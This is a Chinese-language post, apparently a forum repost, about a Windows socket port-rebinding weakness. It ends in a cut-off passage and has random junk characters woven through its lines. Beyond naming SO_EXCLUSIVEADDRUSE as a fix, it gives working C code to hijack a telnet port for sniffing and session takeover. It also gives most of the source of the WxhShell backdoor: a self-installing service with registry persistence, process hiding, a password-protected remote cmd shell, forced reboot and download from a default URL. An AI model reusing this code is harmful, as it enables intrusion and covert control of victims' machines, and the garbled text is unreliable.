在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K+n6.BzW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`m3C\\9; ~uV.jh saddr.sin_family = AF_INET;
fLPB *y6 {X8F4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=7Nm=5@ YsDn?p D@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]2tX'=X {GZHD^Ce 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i9+V<'h V5M_N;h 这意味着什么?意味着可以进行如下的攻击:
'|Cs!Zl fU$zG"a_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ij%\ld9kd U
JY`P4( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`y
m^0x8 qksN {t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Pgb<;c:4 H<"{wUPT0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
WCU[]A m
&s0Ub 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
NNS n]LP dxxD%lHCF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IL`5RZi1 +d]} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X8F _Mb* par
$0z/ #include
i3N _wv{ #include
k$#
@_ #include
^uC1\!Q1 #include
y~''r%] DWORD WINAPI ClientThread(LPVOID lpParam);
<#LHL
int main()
%<:?{<~wH9 {
;?bRRW WORD wVersionRequested;
bvs0y7M=' DWORD ret;
R7( + ^% WSADATA wsaData;
Pa%XLn'5 BOOL val;
rB)m{) SOCKADDR_IN saddr;
wE;??'O'l SOCKADDR_IN scaddr;
% ;09J int err;
" #_NA`$i SOCKET s;
DSD#', SOCKET sc;
vD^^0-Pk6 int caddsize;
VTy!<I HANDLE mt;
>J|I DWORD tid;
s>E4.0[I% wVersionRequested = MAKEWORD( 2, 2 );
JaiYVx( err = WSAStartup( wVersionRequested, &wsaData );
2-. g>'W if ( err != 0 ) {
a| printf("error!WSAStartup failed!\n");
NhS0D=v6 return -1;
TdG[b1xN
}
^s_E |~U saddr.sin_family = AF_INET;
mRxL%! hQ#'_%:
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|C\g 3N- t-3wjS1v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n +`( R]Q saddr.sin_port = htons(23);
;M>0, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>dn[oS, {
wwmMpK}f printf("error!socket failed!\n");
3JWHyo return -1;
4cTJ$" v }
#$e~o}(r val = TRUE;
fZ 17 //SO_REUSEADDR选项就是可以实现端口重绑定的
t>
-cTQm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6WzE'0Nyr {
rX{QgyY&
printf("error!setsockopt failed!\n");
ig7)VKr return -1;
N"2P&Ho] }
KAO}*? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1Hy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
72@8M //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Cx}
Yp- hJrxb<9@Y0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kZWc(LwA {
(TDLT^ ret=GetLastError();
EX='\~Dw printf("error!bind failed!\n");
/1gKc}rB2 return -1;
(uD(,3/Cw }
I,l%6oPa listen(s,2);
A!ba_14 while(1)
0/#XUX 4 {
f]0kG caddsize = sizeof(scaddr);
+[zrU`!@ //接受连接请求
LyS139P$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0v,DQJ?w8 if(sc!=INVALID_SOCKET)
#z6RzZu {
m32OE`s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
wGBQ.Ve[ if(mt==NULL)
VX[{X8PkS {
(t&P.N/ printf("Thread Creat Failed!\n");
P(VQ D>G break;
q(\$-Dk.Vv }
lmz{,O }
!,V8?3.aJn CloseHandle(mt);
aL-V 9y }
s^AQJ{X closesocket(s);
hOO)0IrIM* WSACleanup();
!Z<GUblt return 0;
KVSy^-." }
Y~,[9:SR DWORD WINAPI ClientThread(LPVOID lpParam)
<Lyz7R6 {
0d9rJv}~ SOCKET ss = (SOCKET)lpParam;
?P4` SOCKET sc;
nx
$?wxIm unsigned char buf[4096];
H)
m!)=\' SOCKADDR_IN saddr;
jSa EwN long num;
Y GO ;wIS DWORD val;
O8[dPmW DWORD ret;
j0kEi+!TVq //如果是隐藏端口应用的话,可以在此处加一些判断
gA`/t e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}zlvs
a+ saddr.sin_family = AF_INET;
>Cb% `pe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.Uh-Wi[ saddr.sin_port = htons(23);
bO9F rEz5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pE^L Qi {
!#f4t]FM`B printf("error!socket failed!\n");
xPq3Sfg`A return -1;
GNZQj8 }
o5BOe1_Pw val = 100;
6:330"9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZZ] /9oiF% {
:*/<eT_ ret = GetLastError();
$O%lYQY] return -1;
1[} =,uaM }
f2uog$Hk if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7EI(7:gOn {
;}.jRmnJ ret = GetLastError();
^Ac0#oX]M return -1;
wZE[we^Q" }
1Q#hanh_` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/U N%P2>^1 {
K)_0ej~C printf("error!socket connect failed!\n");
d,8V-Dk+p closesocket(sc);
'+f!(teLz closesocket(ss);
`if* return -1;
Qk Gr{ }
h'MX{Wm. while(1)
t{F6+d p {
<!5N=- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
m-, ' //如果是嗅探内容的话,可以再此处进行内容分析和记录
gS4K](KH | //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
UF D_ num = recv(ss,buf,4096,0);
E+JGqk if(num>0)
hy
W4= send(sc,buf,num,0);
" &p\pR~ else if(num==0)
u'yePJTE break;
S8.nM}x num = recv(sc,buf,4096,0);
kYPowM if(num>0)
e%wbUr]c2 send(ss,buf,num,0);
;9,Ll%Lk< else if(num==0)
_q3SR[k+` break;
14s+& }
b.8HGt<% closesocket(ss);
~
Z%>N closesocket(sc);
je_77G(F return 0 ;
}9 qsPn }
CSt6}_c! k(u W( 6 iT
4H@ ==========================================================
D dt9`j <ywxz1 i 下边附上一个代码,,WXhSHELL
GrVvOJr 5IVASqYp ==========================================================
dkG-Yz~ -']#5p l #include "stdafx.h"
B7?784{x, @ mtv2P` #include <stdio.h>
;d?4phl-. #include <string.h>
|\~cjPX( #include <windows.h>
e0v&wSi #include <winsock2.h>
*AZC{jP #include <winsvc.h>
8Ln:y'K #include <urlmon.h>
j><.tA~i N{|N_}X`Y #pragma comment (lib, "Ws2_32.lib")
k3S**&i!CR #pragma comment (lib, "urlmon.lib")
\-V >"zSW? #define MAX_USER 100 // 最大客户端连接数
h=d&@k\g #define BUF_SOCK 200 // sock buffer
qI8{JcFx: #define KEY_BUFF 255 // 输入 buffer
7F)HAbIS o#%2N+w #define REBOOT 0 // 重启
f\^FUJy #define SHUTDOWN 1 // 关机
MJ}VNv|S NBUM* Z #define DEF_PORT 5000 // 监听端口
89'nbg ~l{CUQU #define REG_LEN 16 // 注册表键长度
47ir QK* #define SVC_LEN 80 // NT服务名长度
KZ/}Iy>As ro^Y$;G // 从dll定义API
A6TNtXk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"z@qG]#5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
olK%TM[Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Dc #iM0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9FJU'$FN ugUV`5w
// wxhshell配置信息
l$zo3[ struct WSCFG {
:tzCuK?e int ws_port; // 监听端口
mQo]k char ws_passstr[REG_LEN]; // 口令
15Yy&9D int ws_autoins; // 安装标记, 1=yes 0=no
iwrdZLE char ws_regname[REG_LEN]; // 注册表键名
V,
)kw{]( char ws_svcname[REG_LEN]; // 服务名
I-fs*yzj;8 char ws_svcdisp[SVC_LEN]; // 服务显示名
[S3X char ws_svcdesc[SVC_LEN]; // 服务描述信息
Bv3?WW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gt}/C4| int ws_downexe; // 下载执行标记, 1=yes 0=no
r95$B6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"F)7!e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q:=s99 Z#"6&kv };
{PYN3\N, K _O3DcQ // default Wxhshell configuration
d-xKm2sH struct WSCFG wscfg={DEF_PORT,
BXyZn0k "xuhuanlingzhe",
N \A)P 1,
[x-Z)Q.5 "Wxhshell",
) ,*&rd! "Wxhshell",
.o.@cLdU "WxhShell Service",
`~pB1sS{ "Wrsky Windows CmdShell Service",
8l;0)`PU "Please Input Your Password: ",
WpSdukXY{ 1,
o` ,&yq. "
http://www.wrsky.com/wxhshell.exe",
>/$Q:92T "Wxhshell.exe"
YR~g&E#U^ };
cs~
}k7>< ROQk^ // 消息定义模块
R1J"QU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z\fD}`^8 char *msg_ws_prompt="\n\r? for help\n\r#>";
nSgg'I( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.^P^lQT]> char *msg_ws_ext="\n\rExit.";
a]
>|2JN<& char *msg_ws_end="\n\rQuit.";
]#S.L' char *msg_ws_boot="\n\rReboot...";
a,lH6lDk char *msg_ws_poff="\n\rShutdown...";
%o+bO}/9 char *msg_ws_down="\n\rSave to ";
B'atwgI0 H\^5>ccU>V char *msg_ws_err="\n\rErr!";
q0DoR@ char *msg_ws_ok="\n\rOK!";
1pO ;aG1O r`wL_>"{n char ExeFile[MAX_PATH];
N |7<*\o int nUser = 0;
J>X aQfzwU HANDLE handles[MAX_USER];
q w|M~vdm int OsIsNt;
iT9cw`A^% ?CL1^N% SERVICE_STATUS serviceStatus;
_lyP7$[:
c SERVICE_STATUS_HANDLE hServiceStatusHandle;
*% uv7G@%N hiU_r="*ox // 函数声明
+<bq@.x int Install(void);
>i@gR int Uninstall(void);
.'D+De&y int DownloadFile(char *sURL, SOCKET wsh);
P{QRmEE int Boot(int flag);
gjyg`% void HideProc(void);
$@8\9Y
{ int GetOsVer(void);
}[ux4cd8Y int Wxhshell(SOCKET wsl);
+=u*!6S void TalkWithClient(void *cs);
90I)"vfW5 int CmdShell(SOCKET sock);
^Fb"Is#S, int StartFromService(void);
~LYKt0/W& int StartWxhshell(LPSTR lpCmdLine);
K< Ct .9nsW? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|[k6X=5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Q
7B)t;^ $V`O%Sz // 数据结构和表定义
S)JZb_ SERVICE_TABLE_ENTRY DispatchTable[] =
kFD- {
\EB]J\x< {wscfg.ws_svcname, NTServiceMain},
fp12-Hk ~ {NULL, NULL}
uVOpg]8d };
2Ni{wg" ufEt"P-X. // 自我安装
-uO< ] int Install(void)
_eO+O=j_x {
)S8q.h char svExeFile[MAX_PATH];
l*% voKZG HKEY key;
#)cRD#0 strcpy(svExeFile,ExeFile);
b;!ilBc K7e<hdP_# // 如果是win9x系统,修改注册表设为自启动
=Eef if(!OsIsNt) {
F)DL/'; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9Cf^Q3)5o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B*DH^";t RegCloseKey(key);
qc*+;Wi+5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]
mP-HFl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:VLuI RegCloseKey(key);
QfwGf,0p return 0;
2$1rS}} }
>|z=-hqPK }
unD8h=Z2 }
o2Pj|u*X else {
Txoc 1egryp // 如果是NT以上系统,安装为系统服务
[ ddEt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ch :428 if (schSCManager!=0)
a-%^!pN\M {
k"Sw,"e>+ SC_HANDLE schService = CreateService
!lu$WJ{M (
*+@/:$|U schSCManager,
8^< -; wscfg.ws_svcname,
hk,Q=}; wscfg.ws_svcdisp,
\DGm[/P SERVICE_ALL_ACCESS,
c1:op@t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L~ 1Lv? SERVICE_AUTO_START,
#3/l4`/j SERVICE_ERROR_NORMAL,
p}(w"?2 svExeFile,
<w2Nh eM 3 NULL,
v8pUt\m" NULL,
={feN L NULL,
c+4SGWmO NULL,
Bwll
[=_I NULL
4r5,kOFWb );
K90Zf if (schService!=0)
(iWNvVGS {
"aa6W CloseServiceHandle(schService);
ASu9c2s CloseServiceHandle(schSCManager);
!' sDqBZ&7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0/] @#G2 strcat(svExeFile,wscfg.ws_svcname);
4>5%SzZT\3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
BY\p?79 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
rxDule3m RegCloseKey(key);
@H{$,\\ return 0;
(Yw5X_|
}
RbrvY }
.s2d CloseServiceHandle(schSCManager);
&Rn/c}[{ }
C($`'~b }
EkTen:{G PfuYT_p4s return 1;
f-{[ushj }
Box,N5AA `_v-Y`Z // 自我卸载
"[#jq5>
: int Uninstall(void)
^kXDEKm {
!J:DBtGT HKEY key;
;
9'*w=V "&2D6 if(!OsIsNt) {
*dK A/.g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H=yD}!j RegDeleteValue(key,wscfg.ws_regname);
p>!r[v' RegCloseKey(key);
&.4lhfI+(Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O-&n5 RegDeleteValue(key,wscfg.ws_regname);
3\'.1p RegCloseKey(key);
m,.d< ** return 0;
3]c<7vdl }
%b!p{p }
nFB;! r }
(p2\H>pTr else {
2{#quXN9 PGw"\-F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iSsy_ | if (schSCManager!=0)
[tBIABr {
m&$H?yXW> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m' aakq if (schService!=0)
@:c
1+ {
Jl9T[QAJn1 if(DeleteService(schService)!=0) {
[M;P:@ CloseServiceHandle(schService);
c9'#G>&h~^ CloseServiceHandle(schSCManager);
Y.hrU*[J0 return 0;
}~ + }
L4[bm[x CloseServiceHandle(schService);
;N/c 5+ }
Y{J/Oib CloseServiceHandle(schSCManager);
c?opVbJB\ }
TY8 8PXW }
TVjY8L9'h l"cO@.T3 return 1;
Z,d/FC#y( }
}`h}h<B( eEU: // 从指定url下载文件
O Ov"h\, int DownloadFile(char *sURL, SOCKET wsh)
%d?%^)
u, {
Y&j6;2-Z HRESULT hr;
;bA9(:? char seps[]= "/";
yDyq. -Q char *token;
.KB*u*h char *file;
.<j8>1 char myURL[MAX_PATH];
A2+t`[w char myFILE[MAX_PATH];
t>25IJG Sqb#U{E strcpy(myURL,sURL);
vfo[<" token=strtok(myURL,seps);
nTHP~] while(token!=NULL)
PDir?' {
g`Rs; file=token;
HQE#O4 token=strtok(NULL,seps);
!~mN"+u& }
yx}:Sgv% -9Can4 GetCurrentDirectory(MAX_PATH,myFILE);
^%<v| Y(X strcat(myFILE, "\\");
qt1#P strcat(myFILE, file);
)pvZM? send(wsh,myFILE,strlen(myFILE),0);
zcNV<tx send(wsh,"...",3,0);
i\<l&W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*3k~%RM%? if(hr==S_OK)
A l` ;SWN return 0;
A] F K\ else
~M\s!!t3 return 1;
E@@quK iD]!PaFD` }
'@W72ML. B;-oa;m:E= // 系统电源模块
kNjbpCE\! int Boot(int flag)
]c5Shj5|p {
HK-?<$Yc HANDLE hToken;
sVC5<?OW!p TOKEN_PRIVILEGES tkp;
$Z(zO;k. ML'R[~| if(OsIsNt) {
{-E{.7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$:xUXEi{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
QHQj6] tkp.PrivilegeCount = 1;
ooD/QZUE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
d6L(Q(:s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3oIoQj+D if(flag==REBOOT) {
8=SNLO if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>a0;|;hp return 0;
W35nnBU }
V}JW@ else {
hyBSS,I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
"Fke(?X' return 0;
T0SD|' }
JRNyvG>j }
[mwfgh&4% else {
`"bm Hs7 if(flag==REBOOT) {
tz)L`g/J~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p"X\]g^jA> return 0;
r&H>JCRZ<= }
56v<!L5% else {
l p? h~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z>{8FzP.F return 0;
1'd "O
@ }
8"4`W~ 3 }
d82IEhZ# ({8Q=Gh return 1;
YGNX+6Lz }
^*0;Z<_ )8vcg{b{d // win9x进程隐藏模块
k!%HcU%J void HideProc(void)
Qr0GxGWU {
sX=!o})0 )wGC=, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7IvCMb&%R if ( hKernel != NULL )
2f-Z\3)9 J {
;ndg,05_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S-L6KA{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fZGKVxo" FreeLibrary(hKernel);
Ge
@d" }
jb*#!m.l hMD yE.X- return;
u}$U|Cw-;T }
:<jf}[w! jRBx7|ON // 获取操作系统版本
QzS{2Y[OQ int GetOsVer(void)
U?}Ma f {
A7sej OSVERSIONINFO winfo;
JlH|=nIaj6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
iffU}ce GetVersionEx(&winfo);
'DIE#l` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A,iXiDb3pK return 1;
G{s ,Y^ else
nU`;MW/^w return 0;
Dp'/uCW) }
UjfB+=7I{L $iB(N ZV // 客户端句柄模块
!O.B, int Wxhshell(SOCKET wsl)
](W#Tj5- {
?W|POk} SOCKET wsh;
ROfmAc struct sockaddr_in client;
Mu:H'$"'H DWORD myID;
<Q8bn?Z }\irr9, while(nUser<MAX_USER)
D2hvf^g'* {
.3Ap+V8? int nSize=sizeof(client);
'IgtBd|K> wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@e slF if(wsh==INVALID_SOCKET) return 1;
>B9rr0d0 %Wc-.ER handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R@EFG%|`_ if(handles[nUser]==0)
v|e\o~2D` closesocket(wsh);
Comuc else
BE U[M nUser++;
Lf,gS*Tg? }
<>R7G)w
F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
U]P;X~$! i0R=P[ return 0;
;J_d% }
D +oo5 qzG'Gz{{qu // 关闭 socket
d`xqs,0f void CloseIt(SOCKET wsh)
qlzL< {
9hq 7: closesocket(wsh);
b!N`@m= nUser--;
4bKZ@r% ExitThread(0);
VP"L_Um }
>,y QG+ wg[*]_,a // 客户端请求句柄
m:H )b{ void TalkWithClient(void *cs)
`j2z=5 {
&Y,Rm78 abK/!m[q SOCKET wsh=(SOCKET)cs;
8=?I/9Xh char pwd[SVC_LEN];
{4I sz-P char cmd[KEY_BUFF];
|GsLcUv6 char chr[1];
]l\J"*"aB int i,j;
59)PJ0E !nd*U}q while (nUser < MAX_USER) {
6tJM*{$$H ugL$W@ if(wscfg.ws_passstr) {
[m4<j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DS^Q0 f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2
o.Mh/D0 //ZeroMemory(pwd,KEY_BUFF);
"kL5HD]TC i=0;
B.{yf4a#L while(i<SVC_LEN) {
nqV7Db~ .$r(":A#) // 设置超时
@U9ov >E fd_set FdRead;
g6~uf4; struct timeval TimeOut;
mbd@4u FD_ZERO(&FdRead);
?2i``-|Wa FD_SET(wsh,&FdRead);
#\"5:.H Oz TimeOut.tv_sec=8;
@hCGV'4 TimeOut.tv_usec=0;
tV T(!&( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J"z8olV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VMNihx0FJ 1ptP ey if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w</kGK[O pwd
=chr[0]; D,R/abYZH
if(chr[0]==0xd || chr[0]==0xa) { 0>AA-~=-
pwd=0; .qHgQ_%
break; 5ecqJ
} 8'f:7KF
i++; g.veHh|;_
} Dl7#h,GTc<
OW6i2 >Or
// 如果是非法用户,关闭 socket zIlQqyOQ8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3n,F5?!m
} Q2+e`
}?H |9OS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (llg!1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wx^L~[l
`?La
while(1) { 'Yj/M
k6$.pCH6
ZeroMemory(cmd,KEY_BUFF); T]0qd^\4w
7H=/FT?e]
// 自动支持客户端 telnet标准 oo/#]a
j=0; T[c;},
while(j<KEY_BUFF) { zHyM@*Gf(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JH2d+8O:qK
cmd[j]=chr[0]; vQ
5
p
if(chr[0]==0xa || chr[0]==0xd) { -[G+*3Y{7
cmd[j]=0; qi$6y?
break; XC~|{d
} Es)Kw3^a
j++; Y68oBUd_E
} 'w&,3@Z
dMYDB
// 下载文件 )f,iey\-
if(strstr(cmd,"http://")) { f BukrPsV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ](B+ilr
if(DownloadFile(cmd,wsh)) xMU4Av[{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r IY_1
else @/7tN3O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )]?sCNb
} ^Qq_|{vynf
else { PjDYdT[
yX/ 9jk
switch(cmd[0]) { 6>X7JMRY
([^1gG+>J
// 帮助 E]i3E[T
case '?': { A-qdTJP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )} tI8
break; >]s|'HTxF
} iJT_*,P^
// 安装 up#W"`"
case 'i': { x} {/) ?vC
if(Install()) EH=[!iW ;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMZ\9IwI
else u%}zLwMH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V+(1U|@~
break; w9G (^jS6
} }CIH1q3P
// 卸载 6* (6>F5
case 'r': { Q9Sh2qF^2
if(Uninstall()) $qV, z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C#XKk$OE
else eVGO6 2|!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:]CKbG
break; Nawph
} ark~#<SqAr
// 显示 wxhshell 所在路径 =^\yE"a
case 'p': { rO[ cm}
char svExeFile[MAX_PATH]; ^ ~'&K e
strcpy(svExeFile,"\n\r"); #ue WU
strcat(svExeFile,ExeFile); /H3z~PBa
send(wsh,svExeFile,strlen(svExeFile),0); L7VD ZCV
break; mSdByT+dG
} z@Pv~"
// 重启 :7>oFz
case 'b': { iI.pxo
s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Xcjr2]~
if(Boot(REBOOT)) 3CcCcZ9I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/%{R.1MN
else { ]ie38tX$
closesocket(wsh); ![1+=F!
ExitThread(0); Mu: y9o95
} _@2}zT
break; ( f]@lNmx
} >-oB%T
// 关机 MD|T4PPz,}
case 'd': { r ]s7a?O
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -+ylJo[D
if(Boot(SHUTDOWN)) w.X MyHj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2X0.2)P2
else { fab.%$
closesocket(wsh); ;z2\ Q$
ExitThread(0); yxk:5L \A
} _nwsIjsW
break; m#K)%0
} {&dbxj-'
// 获取shell f |%II,!3
case 's': { ^Y%'"QwJS
CmdShell(wsh); WwUhwY1o!L
closesocket(wsh); j)nL!":O
ExitThread(0); A>\5fO
break; r{cmw`WA/P
} p~'iK4[&6
// 退出 =y^`yv 3
case 'x': { 8NnGN(a*D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o|kiwr}Y
CloseIt(wsh); 6.Jvqn
break; PfR|\{(
} }]#&U/z
// 离开 q\pI&B
case 'q': { D~ogq]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %<)!]8}P*
closesocket(wsh); &=^YN"=Z
WSACleanup(); *"nN To
exit(1); .} O@<t
break; TTa$wiW7'
} &t~NR$@
} ,xw1B-dx
}
f@@7?5fW
Uiv4'vYg
// 提示信息 a,|Hn
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UY6aD~tD0
} Ij>G7Q*d
} Wsb>3J
tzShds
return; ^sKdN-{
} 7{Lp/z%r
b>-h4{B[
// shell模块句柄 !,+<?o y
int CmdShell(SOCKET sock) Sse%~:FL
{ htT9Hrx
STARTUPINFO si; .mHVJ5^:4\
ZeroMemory(&si,sizeof(si)); 0q28Ulv9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2`^6``
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6gabnW3
PROCESS_INFORMATION ProcessInfo; ;hPVe_/
char cmdline[]="cmd"; 7Ll?#eun
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0&u=(;Dr\
return 0; *>/w,E]
} **$kWbS
/lC,5y
// 自身启动模式 ch2m Ei(
int StartFromService(void) Jkv!]C
{ 8BrC@L2E0
typedef struct L@'2}7N1%
{ (*M0'5
DWORD ExitStatus; ;m7~!m)
DWORD PebBaseAddress; Vm?# ~}T
DWORD AffinityMask; =0L%<@yA
DWORD BasePriority; /!J xiGn
ULONG UniqueProcessId; &zd@cr1
ULONG InheritedFromUniqueProcessId; &.(iS
